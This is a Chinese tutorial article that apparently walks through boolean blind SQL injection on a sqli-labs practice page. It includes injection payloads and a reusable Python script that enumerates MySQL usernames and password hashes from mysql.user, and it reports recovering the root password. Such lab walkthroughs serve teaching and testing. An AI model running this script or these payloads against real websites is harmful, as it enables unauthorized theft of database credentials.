Python猜解網(wǎng)站數(shù)據(jù)庫(kù)管理員密碼的腳本
一、功能分析
簡(jiǎn)單分析一下網(wǎng)站的功能,大致如下:
需要用戶(hù)在地址欄中提交參數(shù),根據(jù)參數(shù)中的id查詢(xún)對(duì)應(yīng)的用戶(hù)信息。
如果id存在,則顯示查詢(xún)成功,比如 輸入?id=1

如果id不存在,則頁(yè)面空顯示,比如輸入 ?id=0(用戶(hù)id不能是0或負(fù)數(shù),id為0時(shí),查詢(xún)結(jié)果為空,會(huì)導(dǎo)致頁(yè)面空顯示)

如果數(shù)據(jù)庫(kù)報(bào)錯(cuò),頁(yè)面也是空顯示,比如輸入?id=1’ 或 ?id=1"(參數(shù)中攜帶引號(hào)會(huì)導(dǎo)致數(shù)據(jù)庫(kù)報(bào)錯(cuò),前提是后臺(tái)代碼未過(guò)濾單引號(hào))

二、思路分析
頁(yè)面沒(méi)有顯示位,不適合聯(lián)合注入。
沒(méi)有數(shù)據(jù)庫(kù)的報(bào)錯(cuò)信息,不適合使用報(bào)錯(cuò)注入。
只有正確和錯(cuò)誤兩種情況,推薦使用布爾盲注。
網(wǎng)站沒(méi)有過(guò)濾參數(shù),不需要繞過(guò),盲注的時(shí)間復(fù)雜度較高,文末提供Python腳本。
三、步驟實(shí)現(xiàn)
1)判斷注入點(diǎn)
輸入?yún)?shù) ?id=1’,頁(yè)面空顯示,說(shuō)明單引號(hào)被數(shù)據(jù)庫(kù)識(shí)別,導(dǎo)致數(shù)據(jù)庫(kù)報(bào)錯(cuò)。

輸入?yún)?shù) ?id=1",頁(yè)面正常顯示查詢(xún)成功,說(shuō)明雙引號(hào)未被數(shù)據(jù)庫(kù)識(shí)別;1" 被數(shù)據(jù)庫(kù)識(shí)別成了 1,實(shí)際查詢(xún)了id為1的用戶(hù)。

單引號(hào)可以識(shí)別,雙引號(hào)不被識(shí)別,初步判斷:網(wǎng)站的注入點(diǎn)是單引號(hào),下面使用萬(wàn)能賬號(hào)進(jìn)一步驗(yàn)證。
輸入 ?id=1’ and 1 – a,頁(yè)面正常顯示,查詢(xún)成功。

輸入 ?id=1’ and 0 – a,頁(yè)面空顯示,未查詢(xún)到。

人為構(gòu)造參數(shù)可以使頁(yè)面產(chǎn)生對(duì)應(yīng)的變化,由此判斷,網(wǎng)站存在注入,注入點(diǎn)為單引號(hào)字符型注入。
2)猜解長(zhǎng)度
輸入?yún)?shù) ?id=1’ and length(“abc”)>1 – a,頁(yè)面正常顯示查詢(xún)成功。
length(“abc”)可以計(jì)算出字符串“abc”的長(zhǎng)度,長(zhǎng)度為3。
length(“abc”)>1 結(jié)果為 true,因此,參數(shù)等價(jià)于 ?id=1’ and 1 – a。

輸入?yún)?shù) ?id=1’ and length(“abc”)<1 – a,頁(yè)面空顯示。
length(“abc”)<1 結(jié)果為 false,參數(shù)等價(jià)于 ?id=1’ and 0 – a。

由此可以推斷出,長(zhǎng)度函數(shù)未被過(guò)濾,可以正常使用,接下來(lái)我們開(kāi)始猜解數(shù)據(jù)庫(kù)管理員密碼的長(zhǎng)度。
mysql.user表用來(lái)存放數(shù)據(jù)庫(kù)的用戶(hù)名和密碼等信息,我們查詢(xún)這個(gè)表即可。
輸入以下payload:
?id=1' and length(
(select group_concat(user,password)
from mysql.user)
)=1 -- a
我們先假設(shè)用戶(hù)名和密碼的總長(zhǎng)度為1,結(jié)果肯定是空顯示,我們將測(cè)試長(zhǎng)度依次遞增,測(cè)試2到n,當(dāng)測(cè)試長(zhǎng)度遞增到42時(shí),頁(yè)面正常顯示,由此可判斷用戶(hù)名和密碼的總長(zhǎng)度為42,payload如下:
?id=1' and length(
(select group_concat(user,password)
from mysql.user)
)=42 -- a

3)猜解數(shù)據(jù)
長(zhǎng)度確定后,我們從第一個(gè)字符開(kāi)始,猜解出完整的數(shù)據(jù)。
ASCLL碼表中包含了字符的所有可能性(字母、數(shù)字或特殊符號(hào)),ASCLL總共127個(gè)字符,其中可輸入的字符只有32~126,我們窮舉每一種可能性,即可猜解出
完整的數(shù)據(jù)。
我們先假設(shè)第一個(gè)字符的ASCLL碼是32,payload如下:
?id=1' and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,1,1))=32 -- a
頁(yè)面空顯示說(shuō)明錯(cuò)誤,我們從32開(kāi)始遞增至126,當(dāng)頁(yè)面正常顯示時(shí)(出現(xiàn) You are in……),說(shuō)明猜解正確。
4)猜解腳本
使用盲注時(shí),手動(dòng)猜解時(shí)間成本太大,推薦使用Python猜解,腳本如下:
import requests
# 只需要修改url 和 兩個(gè)payload即可
# 目標(biāo)網(wǎng)址(不帶參數(shù))
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解長(zhǎng)度使用的payload
payload_len = """?id=1' and length((
select group_concat(user,password)
from mysql.user
))={n} -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1' and ascii(substr((
select group_concat(user,password)
from mysql.user
),{n},1))={r} -- a """
# 獲取長(zhǎng)度
def getLength(url, payload):
length = 1 # 初始測(cè)試長(zhǎng)度為1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 頁(yè)面中出現(xiàn)此內(nèi)容則表示成功
if 'You are in...........' in response.text:
print('測(cè)試長(zhǎng)度完成,長(zhǎng)度為:', length)
return length;
else:
print('正在測(cè)試長(zhǎng)度:',length)
length += 1 # 測(cè)試長(zhǎng)度遞增
# 獲取字符
def getStr(url, payload, length):
str = '' # 初始表名/庫(kù)名為空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '個(gè)字符猜解成功:', str)
break;
return str;
# 開(kāi)始猜解
getStr(url, payload_str, getLength(url, payload_len))
腳本猜解結(jié)果如下,成功猜解root用戶(hù)密碼:

到此這篇關(guān)于Python猜解網(wǎng)站數(shù)據(jù)庫(kù)管理員密碼的腳本的文章就介紹到這了,更多相關(guān)Python猜解管理員密碼內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python使用BeautifulSoup實(shí)現(xiàn)網(wǎng)頁(yè)鏈接的提取與分析
本文將詳細(xì)介紹如何使用Python的BeautifulSoup庫(kù)實(shí)現(xiàn)網(wǎng)頁(yè)鏈接的提取與分析,我們將從基礎(chǔ)概念講起,逐步深入到實(shí)際應(yīng)用場(chǎng)景,包括HTML解析原理、鏈接提取技術(shù)、數(shù)據(jù)分析方法等,通過(guò)本文,讀者將學(xué)習(xí)如何對(duì)提取的鏈接數(shù)據(jù)進(jìn)行有價(jià)值的分析,需要的朋友可以參考下2025-07-07
Python 含參構(gòu)造函數(shù)實(shí)例詳解
這篇文章主要介紹了Python 含參構(gòu)造函數(shù)實(shí)例詳解的相關(guān)資料,需要的朋友可以參考下2017-05-05
python制作爬蟲(chóng)并將抓取結(jié)果保存到excel中
本文給大家記錄的是使用Python制作爬蟲(chóng)爬取拉勾網(wǎng)信息并將結(jié)果保存到Excel中的實(shí)現(xiàn)思路及方法,并附上最終源碼,有需要的小伙伴可以參考下2016-04-04
Python學(xué)習(xí)筆記之json模塊和pickle模塊
json和pickle模塊是將數(shù)據(jù)進(jìn)行序列化處理,并進(jìn)行網(wǎng)絡(luò)傳輸或存入硬盤(pán),下面這篇文章主要給大家介紹了關(guān)于Python學(xué)習(xí)筆記之json模塊和pickle模塊的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2023-05-05
使用Python自制數(shù)據(jù)庫(kù)備份工具實(shí)現(xiàn)數(shù)據(jù)定時(shí)覆蓋
這篇文章主要為大家詳細(xì)介紹了如何使用Python自制數(shù)據(jù)庫(kù)備份工具實(shí)現(xiàn)數(shù)據(jù)定時(shí)覆蓋功能,文中的示例代碼講解詳細(xì),需要的小伙伴可以參考下2024-03-03
python排序函數(shù)sort()與sorted()的區(qū)別
這篇文章主要介紹了python排序函數(shù)sort()與sorted()的區(qū)別,需要的朋友可以參考下2018-09-09

